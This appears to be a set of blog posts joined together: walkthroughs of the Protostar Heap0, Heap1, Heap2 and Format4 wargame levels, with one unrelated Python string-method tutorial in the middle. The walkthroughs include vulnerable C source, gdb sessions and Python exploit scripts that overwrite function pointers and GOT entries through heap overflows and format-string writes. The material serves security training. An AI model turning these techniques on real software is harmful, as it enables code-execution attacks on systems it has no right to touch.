Binary Exploitation Protostar Heap2 - Walkthrough

Hello Guyz,



Welcome again to my blog. Today, I am going to share with you my walkthrough experience of Exploit-Exercise Protostar Heap2 Level.

In This Level, Our Task Is to Execute Winner Function Through Heap Overflow Concept.


Before Starting Our Walkthrough Let's Take a Look At Hints And Details.

Note: I want to highlight Few Points.

  • I'm not the creator of protostar war game. I am just a player.
  • Here, I am Just providing you hints and reference so, that if you feel stuck anywhere. Take a Look Here.
  • Understand all previous levels before starting this one.
  • Do some research on Assembly, C/C++ and Gdb
  • Do Some Research About Heap overflow exploitation.

Source Code


#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

struct auth {
  char name[32];
  int auth;
};

struct auth *auth;
char *service;

int main(int argc, char **argv)
{
  char line[128];

  while(1) {
      printf("[ auth = %p, service = %p ]\n", auth, service);

      if(fgets(line, sizeof(line), stdin) == NULL) break;
      
      if(strncmp(line, "auth ", 5) == 0) {
          auth = malloc(sizeof(auth));
          memset(auth, 0, sizeof(auth));
          if(strlen(line + 5) < 31) {
              strcpy(auth->name, line + 5);
          }
      }
      if(strncmp(line, "reset", 5) == 0) {
          free(auth);
      }
      if(strncmp(line, "service", 6) == 0) {
          service = strdup(line + 7);
      }
      if(strncmp(line, "login", 5) == 0) {
          if(auth->auth) {
              printf("you have logged in already!\n");
          } else {
              printf("please enter your password\n");
          }
      }
  }
}



Hint


This level examines what can happen when heap pointers are stale.

This level is completed when you see the “you have logged in already!” message

This level is at /opt/protostar/bin/heap2



Code Review


struct auth *auth;  <--- programming mistake [changing struct variable into a  pointer variable] means less space than actual struct 
auth = malloc(sizeof(auth));  <--- hmm, calculating size of pointer and then allocating new location... 
strlen(line + 5) < 31 <--- String copying limit is far more than the actual allocated size  {means overflow}

simple.... But we need to exploit this program using free() vulnerability.

Basically, With free() function , we can deallocate any location but the problem is, its only deallocate means no data deletion.
and another point is, after deallocation, malloc() can again allocate that exact space again, without checking what already written into
that space but the programmer was smart, hence he used memset.. 
Third point is, this program is using strdup function. which allocate space for new string through malloc function.
and fourth point is, even after deallocating space, pointer to that location is not reset.



Planning


So, Our plain is,  

First allocate space for auth into heap 


--------------------------------------------------
| auth (4 bytes)  | 
------------------------------------------------

but programmer design codes as its a 36+ bytes space location

Then, strdup

--------------------------------------------------
| auth     | strdup (anythingh)
------------------------------------------------



By The Way, We already overflow auth... But For Practise.... Follow below steps also


Let's Try again
First allocate space for auth into heap 


--------------------------------------------------
| auth (4 bytes)  | 
------------------------------------------------

Then, free()

--------------------------------------------------
| free---     | 
------------------------------------------------
But Pointer was not reset

Allocate space for strdup

--------------------------------------------------
| strdup (anythingh)
------------------------------------------------

, So Both auth and strdup string pointing to same location.



Implementation


The current source language is "auto; currently asm".
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /opt/protostar/bin/heap2
[ auth = (nil), service = (nil) ]
auth surajsuauth

Breakpoint 1, 0x080489fc in main (argc=1, argv=0xbffffd54) at heap2/heap2.c:28
28      heap2/heap2.c: No such file or directory.
        in heap2/heap2.c
Current language:  auto
The current source language is "auto; currently c".
(gdb) c
Continuing.
[ auth = 0x804c008, service = (nil) ]
service surajserv1

Breakpoint 3, 0x08048a58 in main (argc=1, argv=0xbffffd54) at heap2/heap2.c:35
35      in heap2/heap2.c
(gdb) ni
0x08048a5d      35      in heap2/heap2.c
(gdb) x/10s 0x804c008
0x804c008:       "surajsuauth\n\031"
0x804c016:       ""
0x804c017:       ""
0x804c018:       " surajserv1\n"
0x804c025:       ""
0x804c026:       ""
0x804c027:       ""
0x804c028:       ""
0x804c029:       ""
0x804c02a:       ""
(gdb) c
Continuing.
[ auth = 0x804c008, service = 0x804c018 ]
reset

Breakpoint 2, 0x08048a29 in main (argc=1, argv=0xbffffd54) at heap2/heap2.c:32
32      in heap2/heap2.c
(gdb) ni
34      in heap2/heap2.c
(gdb) x/10s 0x804c008
0x804c008:       ""
0x804c009:       ""
0x804c00a:       ""
0x804c00b:       ""
0x804c00c:       "jsuauth\n\031"
0x804c016:       ""
0x804c017:       ""
0x804c018:       " surajserv1\n"
0x804c025:       ""
0x804c026:       ""
(gdb) c
Continuing.
[ auth = 0x804c008, service = 0x804c018 ]
auth surajsuth2

Breakpoint 1, 0x080489fc in main (argc=1, argv=0xbffffd54) at heap2/heap2.c:28
28      in heap2/heap2.c
(gdb) ni
31      in heap2/heap2.c
(gdb) x/10s 0x804c008
0x804c008:       "surajsuth2\n"
0x804c014:       "\031"
0x804c016:       ""
0x804c017:       ""
0x804c018:       " surajserv1\n"
0x804c025:       ""
0x804c026:       ""
0x804c027:       ""
0x804c028:       ""
0x804c029:       ""
(gdb)


Solution


solution :

root@protostar:/opt/protostar/bin# ./heap2
[ auth = (nil), service = (nil) ]
auth surajsuauth
[ auth = 0x804c008, service = (nil) ]
service surajserv1
[ auth = 0x804c008, service = 0x804c018 ]
reset
[ auth = 0x804c008, service = 0x804c018 ]
^C
root@protostar:/opt/protostar/bin# ./heap2
[ auth = (nil), service = (nil) ]
auth surajsuauth
[ auth = 0x804c008, service = (nil) ]
service surajserv111111111111111111111
[ auth = 0x804c008, service = 0x804c018 ]
reset
[ auth = 0x804c008, service = 0x804c018 ]
auth surajsuth
[ auth = 0x804c008, service = 0x804c018 ]
login
you have logged in already!
[ auth = 0x804c008, service = 0x804c018 ]

Binary Exploitation Protostar Heap1 - Walkthrough

Hello Guyz,



Welcome again to my blog. Today, I am going to share with you my walkthrough experience of Exploit-Exercise Protostar Heap1 Level.

In This Level, Our Task Is to Execute Winner Function Through Heap Overflow Concept.


Before Starting Our Walkthrough Let's Take a Look At Hints And Details.

Note: I want to highlight Few Points.

  • I'm not the creator of protostar war game. I am just a player.
  • Here, I am Just providing you hints and reference so, that if you feel stuck anywhere. Take a Look Here.
  • Understand all previous levels before starting this one.
  • Do some research on Assembly, C/C++ and Gdb
  • Do Some Research About Heap overflow exploitation.


Source Code


#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>

  

struct internet {
  int priority;
  char *name;
};

void winner()
{
  printf("and we have a winner @ %d\n", time(NULL));
}

int main(int argc, char **argv)
{
  struct internet *i1, *i2, *i3;

  i1 = malloc(sizeof(struct internet));
  i1->priority = 1;
  i1->name = malloc(8);

  i2 = malloc(sizeof(struct internet));
  i2->priority = 2;
  i2->name = malloc(8);

  strcpy(i1->name, argv[1]);
  strcpy(i2->name, argv[2]);

  printf("and that's a wrap folks!\n");
}



Hint


This level takes a look at code flow hijacking in data overwrite cases.

This level is at /opt/protostar/bin/heap1


Code Review


  struct internet {
  int priority; 
  char *name;              <--- Noticiable Things is that, its a pointer.. means its take only 4 bytes to point to another location
};


void winner()
{
  printf("and we have a winner @ %d\n", time(NULL));
}

int main(int argc, char **argv)
{
  struct internet *i1, *i2, *i3;       <--- Create Three Pointers To Struct Internet

  i1 = malloc(sizeof(struct internet)); <--- Locating Space for First Struct Internet Pointers
  i1->priority = 1;                     <--- Insert Digit
  i1->name = malloc(8);                 <--- Locate Another Location For Char Pointer

  i2 = malloc(sizeof(struct internet)); <--- Locating Space For Second Struct Internet Pointer
  i2->priority = 2;                     <--- Insert Digit
  i2->name = malloc(8);                 <--- Locate Another Location For Char Pointer

  strcpy(i1->name, argv[1]);            <--- Copy String To i1
  strcpy(i2->name, argv[2]);            <--- Copy String To i2

  printf("and that's a wrap folks!\n");
}


Planning


  Heap Overview

                    |>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>|
  -----------------------------------------------------------------------------------------------------------
 | i1 ( Name, Char Pointer ) | Paddings and Other Stuff | i2 ( Name, Char Pointer ) |  Name (8) |  Name (8) |
 ------------------------------------------------------------------------------------------------------------
                                                                          |>>>>>>>>>>>>>>>>>>>>>>>>>>>>|
                    
                    
We Just Need To Overwrite Char Pointer of i2 So, that during copying data from argument, strcpy will copy data to name location and to do it, strcpy will access the pointer of char name. and (because of us) strcpy will overwrite GOT table with argv[2] 
 
  Overflow Name And Write Data To FP



Exploit


import struct


buf = "\x90"*4*5

# Address Of Put wrapper inot global table
puts_glob = 0x08049774


# Need To Overwrite put with
win = 0x08048494



ret = struct.pack("I",win)


payload = ''
payload+= buf
payload+= struct.pack("I", puts_glob)
payload+= " "
payload+= struct.pack("I",win)
print payload

Binary Exploitation Protostar Heap0 - Walkthrough

Hello Guyz,



Welcome again to my blog. Today, I am going to share with you my walkthrough experience of Exploit-Exercise Protostar Heap0 Level.

In This Level, Our Task Is to Execute Winner Function Through Heap Overflow Concept.


Before Starting Our Walkthrough Let's Take a Look At Hints And Details.

Note: I want to highlight Few Points.

  • I'm not the creator of protostar war game. I am just a player.
  • Here, I am Just providing you hints and reference so, that if you feel stuck anywhere. Take a Look Here.
  • Understand all previous levels before starting this one.
  • Do some research on Assembly, C/C++ and Gdb
  • Do Some Research About Heap overflow exploitation.

Source Code

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>

struct data {
  char name[64];
};

struct fp {
  int (*fp)();
};

void winner()
{
  printf("level passed\n");
}

void nowinner()
{
  printf("level has not been passed\n");
}

int main(int argc, char **argv)
{
  struct data *d;
  struct fp *f;

  d = malloc(sizeof(struct data));
  f = malloc(sizeof(struct fp));
  f->fp = nowinner;

  printf("data is at %p, fp is at %p\n", d, f);

  strcpy(d->name, argv[1]);
  
  f->fp();

}


Hint

This level introduces heap overflows and how they can influence code flow.

This level is at /opt/protostar/bin/heap0


Code Review

  struct data *d;
  struct fp *f;

  d = malloc(sizeof(struct data));   <--- Locating Space For data struct
  f = malloc(sizeof(struct fp));     <--- Locating Space For Fp Struct Just After The Data Struct.
  f->fp = nowinner;                  <--- Assign Nowinner Function Pointer To FP Struct

  printf("data is at %p, fp is at %p\n", d, f);

  strcpy(d->name, argv[1]);          <--- No Input Size verification. 
  
  f->fp();                           <--- Calling Inner function
  
  

Plan

As You Can See, In Source Code Their Is Nothing To Verify User Input. Hence, We can Easily Heap Overflow And Write Winner Function Address.


Implementation

  Heap Overview
 -------------------------------
 | Name[64]              | FP  |
 -------------------------------
  
  Overflow Name And Write Data To FP


Exploit


#!/usr/bin/python
import struct
# /opt/protostar/bin/heap0 $(python exploit.py)

buf = "a"*72
win = 0x08048464
ret = struct.pack("I",win)


payload = ''
payload+= buf
payload+= ret
print payload

Python String Data Type Tutorial With Practical Example

Hello Guyz,



Todays, Post Is Completely Dedicated To Python Programmers Newbies. Today, In This Post I am going to show you various types of String Datatypes Function And Operations For String Manipulations. If You are new In python Programming Then, This Post is Really Very Useful For You.


So, Let's Quickly Start Our Practical Example Tutorial 

Python String Data Type Manipulation Function Examples





Input : [1]  


#!/usr/bin/python
#
# here, I am using
#
#     Ubuntu 18.04
#     Python 2.7
#     Jupyter Notebook
#
#   For More Detail Informations About Functions
#        Check Official Documentation : 
#                 https://docs.python.org/2/library/stdtypes.html#string-methods
#

Output : [1]  

  

Input : [2]  

# Python Supported DataTypes

a = "Cat"      # String

b = 12    # Integers

c = 12.5  # Float

d = (a, b, c) # Tuple

e = [a, b, c, d] # List 

f = {            # Dictionery
    "String":a,
    "Integer":b,
    "Float" : c,
    "Tuple": d,
    "List": e
}


print "String     : ", a

print "Integers   : ", b

print "Float      : ", c

print "List       : ", d

print "Dictionery : ", e

Output : [2]  

String     :  Cat
Integers   :  12
Float      :  12.5
List       :  ('Cat', 12, 12.5)
Dictionery :  ['Cat', 12, 12.5, ('Cat', 12, 12.5)]

Input : [3]  

# String Supported Operations


print "-"*80
print "       Input       |              Operation             |      Output"
print "-"*80



# str.capitalize()
# Return a copy of the string with its first 
# character capitalized and the rest lowercased.

print " A = "+a+ " | "+" Capitalize All Words              : ",a.capitalize()



# str.center(width[, fillchar])
# Return centered in a string of length width. 
# Padding is done using the specified fillchar (default is a space).

print " A = "+a+ " | "+" Keep word in center               : ",a.center(5)

# str.count(sub[, start[, end]])
# Return the number of non-overlapping occurrences 
# of substring sub in the range [start, end]. Optional arguments 
# start and end are interpreted as in slice notation.


print " A = "+a+ " | "+" Count Number of Character         : ",a.count("S")

# str.decode([encoding[, errors]])
# Decodes the string using the codec registered for encoding. 
# encoding defaults to the default string encoding. errors may be given to
# set a different error handling scheme. The default is 'strict', 
# meaning that encoding errors raise UnicodeError. Other possible 
# values are 'ignore', 'replace' and any other name registered via codecs.register_error(), 
#

# str.encode([encoding[, errors]])
# Return an encoded version of the string. 
# Default encoding is the current default string encoding. 
# errors may be given to set a different error handling scheme. 
# The default for errors is 'strict', meaning that encoding errors 
# raise a UnicodeError. Other possible values are 'ignore', 'replace', 
# 'xmlcharrefreplace', 'backslashreplace' and any other name registered 
# via codecs.register_error(), see section Codec Base Classes. 
# For a list of possible encodings, see section Standard Encodings.

print " A = "+a+ " | "+" Encode String                     : ",a.encode('hex')

# str.endswith(suffix[, start[, end]])
# Return True if the string ends with the specified suffix, 
# otherwise return False. suffix can also be a tuple of suffixes to look for. 
# With optional start, test beginning at that position. With optional end,
# stop comparing at that position.

print " A = "+a+ " | "+" Check String End                  : ",a.endswith('a')

# str.expandtabs([tabsize])
# Return a copy of the string where all tab characters are 
# replaced by one or more spaces, depending on the current column 
# and the given tab size. Tab positions occur every tabsize characters 
# (default is 8, giving tab positions at columns 0, 8, 16 and so on). 
# To expand the string, the current column is set to zero and 
# the string is examined character by character. If the character 
# is a tab (\t), one or more space characters are inserted in the result 
# until the current column is equal to the next tab position. 
# (The tab character itself is not copied.) If the character is a newline (\n) 
# or return (\r), it is copied and the current column is reset to zero. 
# Any other character is copied unchanged and the current column is incremented 
# by one regardless of how the character is represented when printed.

print " A = "+a+ " | "+" Expand All Tabs                   : ",a.expandtabs(5)

# str.find(sub[, start[, end]])
# Return the lowest index in the string where substring sub is 
# found within the slice s[start:end]. Optional arguments start 
# and end are interpreted as in slice notation. Return -1 if sub is not found.

print " A = "+a+ " | "+" Find Character Index Num.         : ",a.find("a")


# str.format(*args, **kwargs)
# Perform a string formatting operation. The string on which this 
# method is called can contain literal text or replacement fields 
# delimited by braces {}. Each replacement field contains either 
# the numeric index of a positional argument, or the name of a 
# keyword argument. Returns a copy of the string where each replacement 
# field is replaced with the string value of the corresponding argument.

print " A = "+a+ " | "+" Return Formated String            : ",a.format()

Output : [3]  

--------------------------------------------------------------------------------
       Input       |              Operation             |      Output
--------------------------------------------------------------------------------
 A = Cat |  Capitalize All Words              :  Cat
 A = Cat |  Keep word in center               :   Cat 
 A = Cat |  Count Number of Character         :  0
 A = Cat |  Encode String                     :  436174
 A = Cat |  Check String End                  :  False
 A = Cat |  Expand All Tabs                   :  Cat
 A = Cat |  Find Character Index Num.         :  1
 A = Cat |  Return Formated String            :  Cat

Input : [4]  

print "\n"

print "+" * 50

print " " * 10 +" Various Check Conditions "

print "-" * 50


print " A = "+a+ " | "+" Is String Characters Alphanumeric : ",a.isalnum()

# str.isalpha()
# Return true if all characters in the string are alphabetic and 
# there is at least one character, false otherwise.

print " A = "+a+ " | "+" Is String Characters Alphabetic   : ",a.isalpha()

# str.isdigit()
# Return true if all characters in the string are digits 
# and there is at least one character, false otherwise.


print " A = "+a+ " | "+" Is String Characters Digit        : ",a.isdigit()


# str.islower()
# Return true if all cased characters [4] in the string are 
# lowercase and there is at least one cased character, false otherwise.

print " A = "+a+ " | "+" Is String Characters Lower Case   : ",a.islower()


# str.isspace()
# Return true if there are only whitespace characters in the 
# string and there is at least one character, false otherwise.


print " A = "+a+ " | "+" Is String Characters Has Space    : ",a.isspace()


# str.istitle()
# Return true if the string is a titlecased string and 
# there is at least one character, for example uppercase characters may only 
# follow uncased characters and lowercase characters only cased ones. Return false otherwise.


print " A = "+a+ " | "+" Is String Characters Has Title    : ",a.istitle()


# str.isupper()
# Return true if all cased characters [4] in the string are uppercase 
# and there is at least one cased character, false otherwise.

print " A = "+a+ " | "+" Is String Characters Upper Case   : ",a.isupper()

Output : [4]  

++++++++++++++++++++++++++++++++++++++++++++++++++
           Various Check Conditions 
--------------------------------------------------
 A = Cat |  Is String Characters Alphanumeric :  True
 A = Cat |  Is String Characters Alphabetic   :  True
 A = Cat |  Is String Characters Digit        :  False
 A = Cat |  Is String Characters Lower Case   :  False
 A = Cat |  Is String Characters Has Space    :  False
 A = Cat |  Is String Characters Has Title    :  True
 A = Cat |  Is String Characters Upper Case   :  False

Input : [5]  

a = "Bitforestinfo"

# String Supported Operations

print "-"*80

print "       Input       |              Operation             |      Output"

print "-"*80

print " A = "+a+ " | "+"Join Two String                  :",'-'.join(a)

print " A = "+a+ " | "+"Left Side Justify                :",a.ljust(10)

print " A = "+a+ " | "+"Lower Case                       :",a.lower()

print " A = "+a+ " | "+"Left Side Strip                  :",a.lstrip("o")

print " A = "+a+ " | "+"String Partition                 :",a.partition('f')

print " A = "+a+ " | "+"String Replace Function          :",a.replace('res', "RES")

Output : [5]  

--------------------------------------------------------------------------------
       Input       |              Operation             |      Output
--------------------------------------------------------------------------------
 A = Bitforestinfo | Join Two String                  : B-i-t-f-o-r-e-s-t-i-n-f-o
 A = Bitforestinfo | Left Side Justify                : Bitforestinfo
 A = Bitforestinfo | Lower Case                       : bitforestinfo
 A = Bitforestinfo | Left Side Strip                  : Bitforestinfo
 A = Bitforestinfo | String Partition                 : ('Bit', 'f', 'orestinfo')
 A = Bitforestinfo | String Replace Function          : BitfoREStinfo

Input : [6]  

# String Supported Operations
print "-"*80

print "       Input       |              Operation             |      Output"

print "-"*80

print " A = "+a+ " | "+"Find Character (From Right Side) :",a.rfind('o')

print " A = "+a+ " | "+"Find Index  (From Right Side)    :",a.rindex("i")

print " A = "+a+ " | "+"Justify String  (From Right Side):",a.rjust(10)

print " A = "+a+ " | "+"Partition  (From Right Side)     :",a.rpartition("f")

print " A = "+a+ " | "+"Split String  (From Right Side)  :", a.rsplit("i")

print " A = "+a+ " | "+"Strip String  (From Right Side)  :",a.rstrip("o")

Output : [6]  

--------------------------------------------------------------------------------
       Input       |              Operation             |      Output
--------------------------------------------------------------------------------
 A = Bitforestinfo | Find Character (From Right Side) : 12
 A = Bitforestinfo | Find Index  (From Right Side)    : 9
 A = Bitforestinfo | Justify String  (From Right Side): Bitforestinfo
 A = Bitforestinfo | Partition  (From Right Side)     : ('Bitforestin', 'f', 'o')
 A = Bitforestinfo | Split String  (From Right Side)  : ['B', 'tforest', 'nfo']
 A = Bitforestinfo | Strip String  (From Right Side)  : Bitforestinf

Input : [7]  

# String Supported Operations
print "-"*80

print "       Input       |              Operation             |      Output"

print "-"*80

print " A = "+a+ " | "+"Split String                     :",a.split("i")

print " A = "+a+ " | "+"Split Lines                      :",a.splitlines(0)

print " A = "+a+ " | "+"Check String Starting Characters :",a.startswith("Bit")

print " A = "+a+ " | "+"Strip String Character           :",a.strip("o")

print " A = "+a+ " | "+"Upper Case                       :",a.upper()

Output : [7]  

--------------------------------------------------------------------------------
       Input       |              Operation             |      Output
--------------------------------------------------------------------------------
 A = Bitforestinfo | Split String                     : ['B', 'tforest', 'nfo']
 A = Bitforestinfo | Split Lines                      : ['Bitforestinfo']
 A = Bitforestinfo | Check String Starting Characters : True
 A = Bitforestinfo | Strip String Character           : Bitforestinf
 A = Bitforestinfo | Upper Case                       : BITFORESTINFO



Thanks For Visiting.

Binary Exploitation Protostar Format4 - Walkthrough

Hello Guyz,



Welcome again to my blog. Today, I am going to share with you my walkthrough experience of Exploit-Exercise Protostar Format0 Level.


In this level, Our goal is to overwrite Return pointer Address And So, That In Future We can use This Vulnerability To Execute Our Injected Shellcodes. Actually, We just need to prove that with this vulnerability we can overwrite the EIP register but here comes another difficulty of this level. As Already mentioned in the hint

We have to use Format String Vulnerability To Overwrite our Instruction Pointer Register.

After Searching, About this vulnerability, I found below-mentioned articles very useful. So, Use below mention links as the reference of format string vulnerability.

1. OWASP
2. StackOverflow
3.  PDF


Before Starting Our Walkthrough Let's Take a Look At Hints And Details.

Note: I want to highlight Few Points.

  • I'm not the creator of protostar war game. I am just a player.
  • Here, I am Just providing you hints and reference so, that if you feel stuck anywhere. Take a Look Here.
  • Understand all previous levels before starting this one.
  • Do some research on Assembly, C/C++ and Gdb

Source Code

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int target;

void hello()
{
  printf("code execution redirected! you win\n");
  _exit(1);
}

void vuln()
{
  char buffer[512];

  fgets(buffer, sizeof(buffer), stdin);

  printf(buffer);

  exit(1);   
}

int main(int argc, char **argv)
{
  vuln();
}


Hint

%p format4 looks at one method of redirecting execution in a process.

Hints

objdump -TR is your friend
This level is at /opt/protostar/bin/format4


Exploit


#!/usr/bin/python
import struct


# print format4.py | ./format4

# Number Of Bytes
p3 = "%33953x%4$n"
p3+= "%33616x%5$n"


# Want To Write 0x080484b4 Into Below Address [Printf GOT].
p1 = struct.pack("I", 0x08049724)
p2 = struct.pack("I", 0x08049726)
p2+= "%x%x"
print p1+p2+p3


Exploit (Alternate Way)


#!/usr/bin/python
import struct


# print format4.py | ./format4
# =================================================
# Format4 [Fill in 4 Parts ]
# =================================================
# [Step One] Analyse Paddings
p1 = "aaaa"
p2 = "%x%x%x"
p3 = "%x"

#print p1+p2+p3





padding = 4

# [Step Two] Check Padding

# print p1+"%"+str(padding)+"$x"

# [Step Three] Install Our malicios address into the stack in 4 parts
#
# Findout Dynamic allocation address of exit command using objdump -TR format4
# 0x08049724

p = ''
p+= struct.pack("I", 0x08049724)
p+= struct.pack("I", 0x08049725)
p+= struct.pack("I", 0x08049726)
p+= struct.pack("I", 0x08049727)

# Need To fill 0x080484b4

p+= "%164x" # first padding
p+= "%4$n"
p+= "%208x" # Second padding
p+= "%5$n"
p+= "%128x"  # third padding
p+= "%6$n"
p+= "%260x"  # fourth padding
p+= "%7$n"

print p